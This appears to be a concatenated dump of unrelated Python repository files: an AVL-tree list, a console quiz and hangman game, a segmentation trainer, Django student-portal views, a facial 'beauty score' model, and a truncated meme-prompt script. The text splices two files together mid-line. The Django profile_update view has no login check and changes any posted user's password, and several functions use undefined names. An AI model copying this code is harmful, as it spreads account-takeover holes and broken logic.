1:\n\t\t\t\n\t\t\tif b.left.isRealNode():\n\t\t\t\tb=b.left\n\t\t\telse:\n\t\t\t\tb=b.right\n\n\t\t\t\n\t\t\n\t\t\n\n\t\tif b.parent != None:\n\t\t\tif b.parent.left == b:\n\t\t\t\tb.parent.setLeft(x)\n\t\t\t\tx.setParent(b.parent)\n\t\t\telse:\n\t\t\t\tb.parent.setRight(x)\n\t\t\t\tx.setParent(b.parent)\n\t\telse:\n\t\t\troot=x\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\tif a==self.root:\n\t\t\tx.setLeft(a)\n\t\t\tx.setRight(b)\n\t\t\tself.root=root\n\t\t\tlst.root=self.root\n\t\t\t\n\t\telse:\n\t\t\tx.setLeft(b)\n\t\t\tx.setRight(a)\n\t\t\tself.root=root\n\t\t\tlst.root=self.root\n\t\t\t\n\n\t\twhile x != None:\n\n\t\t\tself.maintainFields(x)\n\t\t\tx=x.parent\n\t\t\n\t\treturn returnValue\n\t\t\n\n\t\n\n\n\t\n\n\n\n\t\"\"\"updates fields height, size and balance factor of the node\n\t@param node: AVLTree\n\t\"\"\"\n\tdef maintainFields(self, node):\n\t\tnode.setHeight()\n\t\tnode.setSize()\n\t\tnode.setBalanceFactor()\n\n\t\t\n\n\n\n\t\n\n\t\"\"\"searches for a *value* in the list\n\n\t@type val: str\n\t@param val: a value to be searched\n\t@rtype: int\n\t@returns: the first index that contains val, -1 if not found.\n\t\"\"\"\n\tdef search(self, val):\n\t\treturn self.searchTree(self.root, val) - 1\n\t\t\n\n\t\"\"\"searches for a *value* in the tree that it's root is node\n\n\t@type val: str\n\t@param val: a value to be searched\n\t@rtype: int\n\t@returns: the first index that contains val, -1 if not found\n\t\"\"\"\n\tdef searchTree(self, node, val):\n\n\t\tif node.isRealNode() == False:\n\t\t\treturn 0\n\n\t\tif self.searchTree(node.left, val) != 0:\n\t\t\treturn self.searchTree(node.left, val)\n\n\t\tif node.getValue() == val:\n\t\t\treturn self.getIndexFromNode(node)\n\n\t\tif self.searchTree(node.right, val) != 0:\n\t\t\treturn self.searchTree(node.right, val)\n\n\t\treturn 0\n\n\t\"\"\"returns the index of the node in the list\n\n\t@type node: AVLNode\n\t@param node: pointer to the node\n\t@rtype: int\n\t@returns: the index of the node\n\t\"\"\"\n\t\n\tdef getIndexFromNode(self, node):\n\t\ti = node.left.getSize() + 1\n\t\twhile node != None:\n\t\t\tif self.root == node.parent and node.parent.right == node:\n\t\t\t\ti = i + self.root.left.getSize() + 1\n\t\t\telse:\n\t\t\t\tif node != self.root:\n\t\t\t\t\tif node.parent.right == node:\n\t\t\t\t\t\ti = i + node.parent.left.getSize() + 1\n\t\t\t\n\t\t\tnode = node.parent\n\t\treturn i\n\n\t\"\"\"returns the root of the tree representing the list\n\n\t@rtype: AVLNode\n\t@returns: the root, None if the list is empty\n\t\"\"\"\n\tdef getRoot(self):\n\t\tif self.empty() == True:\n\t\t\treturn None\n\t\treturn self.root\n\n\t\"\"\"returns a pointer to the node in the i index\n\n\t@rtype: int\n\t@returns: the node in the i index\n\t\"\"\"\n\n\tdef getNodeFromIndex(self, i):\n\t\tj = i\n\t\ta = self.root\n\n\t\twhile j != a.left.size + 1:\n\t\t\tif j < a.left.size + 1:\n\t\t\t\t\ta = a.left\n\t\t\telse:\n\t\t\t\tj = j - a.left.size - 1\n\t\t\t\ta = a.right\n\t\treturn a\n\n\t\"\"\"return a pointer to the node in the next index\n\t@type node: AVLNode\n\t@rtype: AVLNode\n\t@returns: the next node in the list, None if node is the last in the list\n\t\"\"\"\n\tdef succesor(self, node): ##recieves a node and returns the next node on the list\n\n\t\tif node == self.last:\n\t\t\treturn None\n\t\tif node.right.isRealNode() == True:\n\t\t\ta = node.right\n\t\t\twhile a.left.isRealNode() == True:\n\t\t\t\ta = a.left\n\t\t\treturn a\n\t\telse:\n\t\t\twhile a.parent.left != a:\n\t\t\t\ta = a.parent\n\t\t\treturn a.parent\n\n\t\"\"\"returns a pointer to the node in the previous index in the list\n\t@type node: AVLNode\n\t@rtype: AVLNode\n\t@returns: the previous node in the list, None if the node is the first in the list\n\t\"\"\"\n\n\tdef predecessor(self, node): #recieves a node and returns the previous node on the list\n\n\t\tif node == self.first:\n\t\t\treturn None\n\t\tif node.left.isRealNode() == True:\n\t\t\ta = node.left\n\t\t\twhile a.right.isRealNode() == True:\n\t\t\t\ta = a.right\n\t\t\treturn a\n\t\telse:\n\t\t\tif node.parent.right == node:\n\t\t\t\ta = node.parent\n\t\t\t\treturn a\n\t\t\telse:\n\t\t\t\ta = node.parent\n\t\t\t\twhile a.parent.right == a:\n\t\t\t\t\ta = a.parent\n\t\t\t\treturn a\n\n\t\"\"\"performs balance rotations if needed to balance the AVL tree\n\t@type node: AVLNode\n\t@rtype: int\n\t@returns: number of rotations performed on tree\n\t\"\"\"\n\n\tdef balance(self,node):\n\t\tcounter = 0\n\t\twhile node != None:\n\t\t\toldbalancefactor = node.getBalanceFactor()\n\t\t\tself.maintainFields(node)\n\t\t\tnewbalancefactor = node.getBalanceFactor()\n\n\n\t\t\tif newbalancefactor == 2:\n\t\t\t\tif node.left.getBalanceFactor() == 1 or node.left.getBalanceFactor() == 0:\n\t\t\t\t\tself.rightRotation(node)\n\t\t\t\t\tcounter = counter + 1\n\t\t\t\telse:\n\t\t\t\t\tself.leftrightRotation(node)\n\t\t\t\t\tcounter = counter + 1\n\t\t\tif newbalancefactor == -2:\n\t\t\t\tif node.right.getBalanceFactor() == -1 or node.right.getBalanceFactor() == 0:\n\t\t\t\t\tself.leftRotation(node)\n\t\t\t\t\tcounter = counter + 1\n\t\t\t\telse:\n\t\t\t\t\tself.rightleftRotation(node)\n\t\t\t\t\tcounter = counter + 1\n\t\t\tnode = node.parent\n\t\treturn counter\n\n\n\t\"\"\"performs a left rotation\n\t@type node: AVLNode\n\t@rtype: int\n\t@returns: number of rotation operations performed\n\t\"\"\"\n\n\tdef leftRotation(self, node):\n\t\ta = node\n\t\tb = node.right\n\t\tc = b.right\n\n\t\ta.right = b.left\n\t\tb.left.parent = a\n\t\tif self.root == node:\n\t\t\tself.root = b\n\t\t\tb.parent = None\n\t\telse:\n\t\t\tif a.parent.left == a:\n\t\t\t\ta.parent.left = b\n\t\t\telse:\n\t\t\t\ta.parent.right = b\n\t\t\tb.setParent(a.parent)\n\t\ta.setParent(b)\n\t\tb.setLeft(a)\n\n\t\tself.maintainFields(a)\n\t\tself.maintainFields(b)\n\t\tself.maintainFields(c)\n\n\t\"\"\"performs a right rotation\n\t@type node: AVLNode\n\t@rtype: int\n\t@returns: number of rotation operations performed\n\t\"\"\"\n\n\tdef rightRotation(self, node):\n\t\ta = node\n\t\tb = node.left\n\t\tc = a.left.left\n\n\t\ta.left = b.right\n\t\tb.right.parent = a\n\t\tif self.root == a:\n\t\t\tself.root = b\n\t\t\tb.parent = None\n\t\telse:\n\t\t\tif a.parent.left == a:\n\t\t\t\ta.parent.left = b\n\t\t\telse:\n\t\t\t\ta.parent.right = b\n\t\t\tb.setParent(a.parent)\n\t\ta.setParent(b)\n\t\tb.setRight(a)\n\n\t\tself.maintainFields(a)\n\t\tself.maintainFields(b)\n\t\tself.maintainFields(c)\n\t\t\t\n\t\"\"\"performs a right and left rotation\n\t@type node: AVLNode\n\t@rtype: int\n\t@returns: number of rotation operations performed\n\t\"\"\"\n\n\tdef rightleftRotation(self, node):\n\t\ta = node\n\t\tb = node.right\n\t\tc = node.right.left\n\n\t\tif self.root == a:\n\t\t\tself.root = c\n\t\t\tc.setParent(None)\n\t\telse:\n\t\t\tif a.parent.left == a:\n\t\t\t\ta.parent.left = c\n\t\t\telse:\n\t\t\t\ta.parent.right = c\n\t\t\tc.setParent(a.parent)\n\t\tb.setLeft(c.right)\n\t\tb.left.setParent(b)\n\t\ta.setRight(c.left)\n\t\ta.right.setParent(a)\n\n\t\tb.setParent(c)\n\t\ta.setParent(c)\n\t\tc.setLeft(a)\n\t\tc.setRight(b)\n\n\t\tself.maintainFields(a)\n\t\tself.maintainFields(b)\n\t\tself.maintainFields(c)\n\n\t\"\"\"performs a left right rotation\n\t@type node: AVLNode\n\t@rtype: int\n\t@returns: number of rotation operations performed\n\t\"\"\"\n\tdef leftrightRotation(self, node):\n\t\ta = node\n\t\tb = node.left\n\t\tc = node.left.right\n\n\t\tif self.root == a:\n\t\t\tself.root = c\n\t\t\tc.setParent(None)\n\t\telse:\n\t\t\tif a.parent.left == a:\n\t\t\t\ta.parent.left = c\n\t\t\telse:\n\t\t\t\ta.parent.right = c\n\t\t\tc.setParent(a.parent)\n\t\tb.setRight(c.left)\n\t\tb.right.setParent(b)\n\t\ta.setLeft(c.right)\n\t\ta.left.setParent(a)\n\n\t\tb.setParent(c)\n\t\ta.setParent(c)\n\t\tc.setLeft(b)\n\t\tc.setRight(a)\n\n\t\tself.maintainFields(a)\n\t\tself.maintainFields(b)\n\t\tself.maintainFields(c)\n\n\t##tester functions:\n\n\tdef inOrderPrint(self, node):\n\n\t\tif node.left.isRealNode() == True:\n\t\t\tself.inOrderPrint(node.left)\n\t\tprint(self.getIndexFromNode(node))\n\t\tif node.left==None:\n\t\t\tprint(node.value, \"left\")\n\t\tif node.right==None:\n\t\t\tprint(node.value, \"right\")\n\t\tif abs(node.getBalanceFactor())>1:\n\t\t\tprint(node.value, \"balanceFactor\")\n\t\tif node != self.root and node.parent==None:\n\t\t\tprint(node.value, \"parnet\")\n\t\tif node.right.isRealNode() == True:\n\t\t\tself.inOrderPrint(node.right)\n\t\n##experiments\n\n\ntree1=AVLTreeList()\ntree2=AVLTreeList()\ntree3=AVLTreeList()\n\nn1 = 100\ncounter1 = 0\ncounter2=0\nfor i in range (0, n1):\n\tif tree2.empty() == True:\n\t\tindex = randint(0, 0)\n\telse:\n\t\tindex = randint(0, tree2.root.size)\n\tif i 0:\r\n player_guess=input(\"What is your guess: \")\r\n\r\n if chances==5:\r\n score=50\r\n elif chances==4:\r\n score=40\r\n elif chances==3:\r\n score=30\r\n elif chances==2:\r\n score=20\r\n elif chances==1:\r\n score=10\r\n \r\n if player_guess in alreadysaid:\r\n print(\"You've already guessed that\")\r\n \r\n \r\n if player_guess in word_to_guess: \r\n alreadysaid+=player_guess\r\n board = \"\".join([char if char in alreadysaid else \"*\" for char in word_to_guess])\r\n if board==word_to_guess:\r\n guessed= True\r\n print(\"CORRECT GUESS!\")\r\n else: \r\n if player_guess in alreadysaid:\r\n chances+=1\r\n alreadysaid+=player_guess\r\n chances -=1\r\n print(\"Nope.\",chances,\"guesses left\")\r\n print(board)\r\n if chances==0:\r\n score=0\r\n print(\"YOU LOSE\\nCorrect word is\\t\",word_to_guess)\r\n hs_h.append(score)\r\n elif chances>0 and board == word_to_guess:\r\n print(\"CONGRATULATIONS {0} you have guessed the word correctly\\nYour score is {1} \".format(name,score))\r\n hs_h.append(score)\r\n \r\nclass Hangman(Play_h,Highscores_h):\r\n def __init__(self):\r\n ch1='y'\r\n while(ch1=='y'):\r\n choice2=int(input(\"1.Play Hangman\\n2.Highscores of Hangman\\n3.Go Back \\n\"))\r\n if choice2 == 1:\r\n super().playing()\r\n elif choice2 == 2:\r\n super().highscore()\r\n elif choice2 ==3:\r\n Basic.__init__(self)\r\n ch1=input(\"Do you want to continue in hangman game (y/n)?\\n\")\r\n \r\nhs_q=[]\r\nnames_q=[]\r\nclass Play:\r\n def playing(self):\r\n name=input(\"Enter you name\\t\\t\")\r\n names_q.append(name)\r\n global score\r\n score=0\r\n print(\"Q1-We can't make an object of \")\r\n q1=input(\"\\ta.Base class\\n\\tb.Abstract class\\n\\tc.Parent class\\n\\td.Both a & c\\n\")\r\n a1=(\"b\")\r\n if q1==a1:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a1)) \r\n print(\"Q2-Constructors are used to \")\r\n q2=input(\"\\ta.Initialize a newly created object\\n\\tb.Free memory\\n\\tc.To build a user interface\\n\\td.To create a sub class\\n\")\r\n a2=(\"a\")\r\n if q2==a2:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a2))\r\n print(\"Q3-The process by which one object can acquire the properties of another object is\")\r\n q3=input(\"\\ta.Polymorphism\\n\\tb.Inheritance\\n\\tc.Encapsulation\\n\\td.Abstraction\\t\\n\")\r\n a3=(\"b\")\r\n if q3==a3:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a3))\r\n print(\"Q4-By default everything in java is\")\r\n q4=input(\"\\ta.Protected\\n\\tb.Private\\n\\tc.Public\\n\\td.None of these\\n\")\r\n a4=(\"c\")\r\n if q4==a4:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a4))\r\n print(\"Q5-Pointers to object of the ____ class are type compatible with pointers of the ____ class\")\r\n q5=input(\"\\ta.Base , Abstract\\n\\tb.Derived , Abstract\\n\\tc.Derived , Base\\n\\td.Base , Derived\\n\")\r\n a5=(\"c\")\r\n if q5==a5:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a5))\r\n print(\"Q6-The keyword private restricts the access of class or struct members to\")\r\n q6=input(\"\\ta.Const functions\\n\\tb.Static functions\\n\\tc.Member functions\\n\\td.Clients\\n\")\r\n a6=(\"c\")\r\n if q6==a6:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a6))\r\n print(\"Q7-An object that has more than one form is reffered to as\")\r\n q7=input(\"\\ta.Abstract class\\n\\tb.Interface\\n\\tc.Inheritance\\n\\td.Polymorphism\\n\")\r\n a7=(\"d\")\r\n if q7==a7:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a7))\r\n print(\"Q8-In python double underscore before any data member means that the data member is \")\r\n q8=input(\"\\ta.Private\\n\\tb.Protected\\n\\tc.Public\\n\\td.None of these\\n\")\r\n a8=(\"a\")\r\n if q8==a8:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a8))\r\n print(\"Q9-Composition have a ____ relationship between two classes\")\r\n q9=input(\"\\ta.'Kind of'\\n\\tb.'Consist of'\\n\\tc.'Has a'\\n\\td.'Part of'\\n\")\r\n a9=(\"b\")\r\n if q9==a9:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a9))\r\n print(\"Q10-Choosing functions in the normal way during compilation is called\")\r\n q10=input(\"\\ta.Early binding\\n\\tb.Static binding\\n\\tc.Dynamic binding \\n\\td.Both a & b\\n\")\r\n a10=(\"d\")\r\n if q10==a10:\r\n score+=1\r\n print(\"Correct answer\\n\")\r\n else:\r\n print(\"Incorrect answer\\nCorrect option is {0}\".format(a10))\r\n if score>5:\r\n print(\"Congratulations {0},You have completed the quiz\\nYour score is {1}\".format(name,score))\r\n hs_q.append(score)\r\n else:\r\n print(\"Poor performance {0},You have completed the quiz\\nYour score is {1}\".format(name,score))\r\n hs_q.append(score)\r\nclass Highscores:\r\n def highscore(self):\r\n n_q=str(len(names_q))\r\n h_q=str(len(hs_q))\r\n print(\"Highscores are\")\r\n print('Names \\t\\t\\t Scores')\r\n for n_q, h_q in zip(names_q, hs_q):\r\n print(n_q ,'\\t\\t\\t' ,h_q)\r\nclass Quiz(Play,Highscores):\r\n def __init__(self):\r\n ch1='y'\r\n while(ch1=='y'):\r\n choice2=int(input(\"1.Take Quiz\\n2.Highscores of Quiz \\n3.Go Back\\n\"))\r\n if choice2 == 1:\r\n super().playing()\r\n elif choice2 == 2:\r\n super().highscore()\r\n elif choice2 ==3:\r\n Basic.__init__(self)\r\n ch1=input(\"Do you want to continue in Quiz(y/n)?\\n\")\r\nclass Basic(Quiz,Hangman):\r\n def __init__(self):\r\n ch='n'\r\n while(ch=='n'):\r\n print(\"\\n\\t\\tWELCOME TO THE QUIZ\\n\")\r\n print(\"\\nChoose from the following options\\n\")\r\n choice=int(input(\"1.Quiz\\n2.Hangman\\n3.Exit\\n\"))\r\n if choice == 1:\r\n Quiz.__init__(self)\r\n \r\n \r\n elif choice == 2:\r\n Hangman.__init__(self)\r\n \r\n elif choice == 3:\r\n exit\r\n ch=input(\"Are you sure you want to exit? (y/n)\\n\")\r\np1=Basic()\r\n\r\n","repo_name":"sidraaaaa/Two-in-one","sub_path":"FINAL OOP PROJ.py","file_name":"FINAL OOP PROJ.py","file_ext":"py","file_size_in_byte":8209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43761163341","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport wandb\nfrom glob import glob\nimport os\nfrom torch.utils.data import Dataset, DataLoader\nimport logging\nimport sys\n\nfrom models.models import get_model\nfrom dataloader_class.dataloader import get_loaders\nfrom trainer.trainer import train, test, test_tta\n\nDEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nlogger = logging.getLogger(__name__)\n\ndef main(configs):\n\n logger.info(\"*** data loading ***\")\n \n train_loader , val_loader, test_loader = get_loaders(configs)\n \n logger.info(f\"Train dataloader size: {len(train_loader)}\")\n logger.info(f\"Validation datalodaer size: {len(val_loader)}\")\n logger.info(f\"Test datalodaer size: {len(test_loader)}\")\n\n\n logger.info(\"*** model loading***\")\n \n init_params = {\n \"encoder_name\": configs.encoder_name, \n \"encoder_weights\": configs.encoder_weights, \n \"classes\": configs.classes, \n \"activation\": configs.activation\n } \n model = get_model(configs, architecture=configs.architecture, init_params=init_params) \n model.to(DEVICE)\n \n if configs.IS_TRAIN:\n logger.info(\"*** train start ***\")\n train(configs, model, train_loader, val_loader)\n \n if configs.IS_TEST:\n logger.info(\"*** inference start ***\")\n \n model.load_state_dict(torch.load(configs.model_path))\n if configs.tta:\n test_tta(configs, model, test_loader)\n else:\n test(configs,model,test_loader)\n\nif __name__==\"__main__\":\n\n configs = { \n \"IS_TRAIN\" : True,\n \"IS_TEST\" : False, #if True, specify your best model path\n \"SAVE_MODEL\" : True,\n \n 'SAVE_DIR' : './predicted_masks',\n 'DATA_PATH' : '/content/segmentation_basis/data', #in data, there should be train/test folder\n 'model_path': None, #your best model path (pth file)\n 'VALI_SIZE' : 0.2,\n \"SEED\" : 42,\n \"RESIZE\" : (512,512),\n \"NUM_WORKERS\" : 1,\n \n \"epoch\" : 25,\n \"batch_size\" : 13,\n \"accumulation_step\" : 4,\n \"train_transform\" : \"hard_transform\",\n\n \"scheduler\" : \"steplr\",\n \"optimizer\" : \"adamw\", #(optimizer in torch.optim.*)\n \"loss\" : \"mixed\",\n \"lr\" : 0.001,\n \n \"encoder_name\": 'resnet101', \n \"encoder_weights\": 'imagenet', \n \"classes\": 10,\n \"activation\": None,\n \"architecture\": 'DeepLabV3Plus',\n \n \"tta\": False\n }\n name = f\"{configs['encoder_name']}-{configs['architecture']}-{configs['train_transform']}-{configs['loss']}\"\n\n wandb.init(\n project=\"UNITON_segmentation\",\n name=name,\n config=configs\n )\n\n class CONFIGS:\n \"\"\"\n DICT 변수를 configs.LR 등의 방법으로 접근하기 위함\n \"\"\"\n def __init__(self):\n self.configs = configs\n def __getattr__(self, name):\n if name in self.configs:\n return self.configs[name]\n else:\n raise AttributeError(f\"'CONFIGS' object has no attribute '{name}'\")\n cfg = CONFIGS()\n \n main(cfg)","repo_name":"naye971012/segmentation_basis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35468810552","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import update_session_auth_hash\nfrom authentication.models import User\nfrom django.contrib import messages\nfrom app_hod.models import *\nfrom app_staff.models import *\nfrom .models import *\n# Create your views here.\n\n# Define view functions that render template for Student\n@login_required(login_url='/login/')\ndef student_page(request):\n return render(request, 'student/dashboard.html')\n\n\n# View function to display the user's profile page\n@login_required(login_url='/login/')\ndef profile_page(request):\n # Get the user object for the logged in user\n user = User.objects.get(id = request.user.id)\n context = {\n 'user': user\n }\n return render(request, 'student/profile.html', context)\n\n\n# View function to handle profile updates\ndef profile_update(request):\n # Check if the request method is POST\n if request.method == \"POST\":\n # Get the user object to be updated\n user = User.objects.get(id = request.POST.get('id'))\n # Update the user's first name, last name, and email fields from the form data\n user.first_name = request.POST.get('first_name')\n user.last_name = request.POST.get('last_name')\n user.email = request.POST.get('email')\n password = request.POST.get('password')\n # Check if a new password was set\n if password is not None and password.strip() != \"\":\n # Set the user's password to the new password and update the user's session authentication hash\n user.set_password(password)\n update_session_auth_hash(request, user)\n # Save the updated user object\n user.save()\n # Display a success message and redirect to the profile page\n messages.success(request, \"Profile Updated Successfully\")\n return redirect('studentprofile')\n # If the request method is not POST, redirect to the profile page\n return redirect('studentprofile')\n\n\n@login_required(login_url='/login/')\ndef student_notification(request):\n # Filtering out the Student instance of the logged in user\n user = Student.objects.filter(user__user= request.user.id)\n # Retrieving notifications for the student, ordered by created_at in descending order\n for i in user:\n student_id = i.id\n notification = StudentNotification.objects.filter(student=student_id).order_by('-created_at')\n context = {\n 'notification': notification\n }\n return render(request, 'student/notification.html', context)\n\n\n\ndef student_applyleave(request):\n leave = StudentLeave.objects.filter(student__user__user=request.user.id)\n context = {\n 'data': leave\n }\n if request.method == \"POST\":\n date= request.POST.get('date')\n message = request.POST.get('message')\n student = Student.objects.get(user__user=request.user.id)\n\n leave= StudentLeave(student=student, data=date, message=message)\n leave.save()\n messages.success(request, \"Applied for Leave Successfully\")\n return redirect('student-applyleave')\n return render(request, 'student/leave.html',context)\n\n\n# student views attendance for a selected subject\ndef view_attendance(request):\n student = Student.objects.get(user__user = request.user.id)\n subject = Subject.objects.filter(course=student.course_id)\n action = request.GET.get('action')\n get_report = None\n get_subject = None\n if action is not None:\n if request.method == \"POST\":\n sub_id = request.POST.get('subject')\n get_subject = Subject.objects.get(id = sub_id)\n\n get_report = AttendanceReport.objects.filter(student=student, attendance__subject=sub_id)\n context = {\n 'subject':subject, 'get_subject':get_subject, 'attendance_report':get_report, 'action':action\n }\n return render(request, 'student/view_attendance.html',context)\n\n\n\ndef view_result(request):\n student = Student.objects.get(user__user = request.user.id)\n result = StudentResult.objects.filter(student=student)\n \n for marks in result:\n marks.passed = marks.assignment_marks >= 12 and marks.exam_marks >= 28\n \n context = {\n 'results': result\n }\n return render(request, 'student/view_result.html', context)","repo_name":"Blakros3s/edumanagement","sub_path":"edumanagement/app_student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25458085843","text":"##################### LIBRARIES #######################\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing import image\nimport torchvision\nimport torch\nimport PIL\nfrom tensorflow.keras.layers import ZeroPadding2D, MaxPooling2D, Convolution2D, Dense, Activation, Flatten, Dropout\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow import keras\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping\n\n####################### LOAD DATA ##########################\ntrain_df = pd.read_csv(\n \"train_test_files/split_of_60%training and 40%testing/train.txt\", sep=\" \", names=[\"image\", \"score\"])\ntest_df = pd.read_csv(\n \"train_test_files/split_of_60%training and 40%testing//test.txt\", sep=\" \", names=[\"image\", \"score\"])\ntrain_df['purpose'] = 'train'\ntest_df['purpose'] = 'test'\n\nnp.random.seed(17)\nval_set_size = int((40*train_df.shape[0])/100)\nval_idx = np.random.choice(train_df.shape[0], size=val_set_size)\ntrain_df.loc[val_idx, 'purpose'] = 'validation'\ndf = pd.concat([train_df, test_df])\ndel train_df, test_df\n\np = torchvision.transforms.Compose(\n [torchvision.transforms.Resize((224, 224)), torchvision.transforms.ToTensor()])\ncount = 0\n\n\ndef retrievePixels(img_name):\n global count\n path = f\"/content/drive/My Drive/data/Images/{img_name}\"\n img = PIL.Image.open(path)\n img = p(img)\n img = img.numpy()\n x = img.reshape(1, -1)[0]\n print(count)\n count = count+1\n\n return x\n\n\ndf['pixels'] = df['image'].apply(retrievePixels)\nfeatures = []\npixels = df['pixels'].values\nfor i in range(0, pixels.shape[0]):\n features.append(pixels[i])\n\nfeatures = np.array(features)\nfeatures = features.reshape(features.shape[0], 224, 224, 3)\nfeatures = features / 255 # normalize inputs within [0, 1]\n\n\n####################### Make Model ##########################\n\nmodel = Sequential()\nmodel.add(ZeroPadding2D((1, 1), input_shape=(224, 224, 3)))\nmodel.add(Convolution2D(64, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2), strides=(2, 2)))\n\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(128, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(128, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2), strides=(2, 2)))\n\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(256, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(256, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(256, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2), strides=(2, 2)))\n\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2), strides=(2, 2)))\n\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(ZeroPadding2D((1, 1)))\nmodel.add(Convolution2D(512, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2), strides=(2, 2)))\n\nmodel.add(Convolution2D(4096, (7, 7), activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Convolution2D(4096, (1, 1), activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Convolution2D(2622, (1, 1)))\nmodel.add(Flatten())\nmodel.add(Activation('softmax'))\n# LOAD A PRETRAINED MODEL FOR BETTER PERFORMANCEE ########################3\nmodel.load_weights('vgg_face_weights.h5')\n\nnum_of_classes = 1 # this is a regression problem\n\n# freeze all layers of VGG-Face except last 7 one\nfor layer in model.layers[:-7]:\n layer.trainable = False\n\nbase_model_output = Sequential()\nbase_model_output = Flatten()(model.layers[-4].output)\nbase_model_output = Dense(num_of_classes)(base_model_output)\n\nbeauty_model = Model(inputs=model.input, outputs=base_model_output)\n\n######################### TRain#############################\nbeauty_model.compile(loss='mean_squared_error',\n optimizer=keras.optimizers.Adam())\n\ncheckpointer = ModelCheckpoint(\n filepath='beauty_model.hdf5', monitor=\"val_loss\", verbose=1, save_best_only=True, mode='auto'\n)\n\nearlyStop = EarlyStopping(monitor='val_loss', patience=20)\ntrain_idx = df[(df['purpose'] == 'train')].index\nval_idx = df[(df['purpose'] == 'validation')].index\ntest_idx = df[(df['purpose'] == 'test')].index\n\nscore = beauty_model.fit(\n features[train_idx], df.iloc[train_idx].score, epochs=5000, validation_data=(features[val_idx], df.iloc[val_idx].score), callbacks=[checkpointer, earlyStop]\n)\nbeauty_model.load_weights(\"beauty_model.hdf5\")\nbeauty_model.save(\"model_.h5\")\n","repo_name":"marioruizgonzalez/deeptinder","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5599642434","text":"import logging\nfrom django.shortcuts import render\nfrom django.utils import translation\nfrom django.http import HttpResponseRedirect\nlog = logging.getLogger(__name__) \nfrom corewine.models import Wine\ndef landing(request):\n top = Wine.objects.all().order_by('rating').reverse()[:5]\n return render(request, 'landing.html', {'top':top})\n\n\ndef set_language(request):\n next = request.REQUEST.get('next', None)\n if not next:\n next = request.META.get('HTTP_REFERER', None)\n if not next:\n next = '/'\n response = HttpResponseRedirect(next)\n if request.method == 'GET':\n lang_code = request.GET.get('language', None)\n if lang_code and check_for_language(lang_code):\n if hasattr(request, 'session'):\n request.session['django_language'] = lang_code\n else:\n response.set_cookie(settings.LANGUAGE_COOKIE_NAME, lang_code)\n translation.activate(lang_code)\n return response\n\n\ndef set_lang(request):\n\tlog.debug('test')\n\treturn render(request,'set_lang.html')","repo_name":"quantumlicht/django-wine","sub_path":"project/project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"72676411026","text":"import requests\nimport openai\nimport random\nimport json\nfrom config import Config\n\nPROMPT = \"You are tasked with crafting a funny meme, using the %s meme format. Note that the meme should not be about the subject matter of the format, be sure to not include the meme format in any of the text. This meme will feature two text segments – one at the top and the other at the bottom. These two segments should be created by you and separated using the '|' symbol. The theme of the meme is '%s'. Maintain a 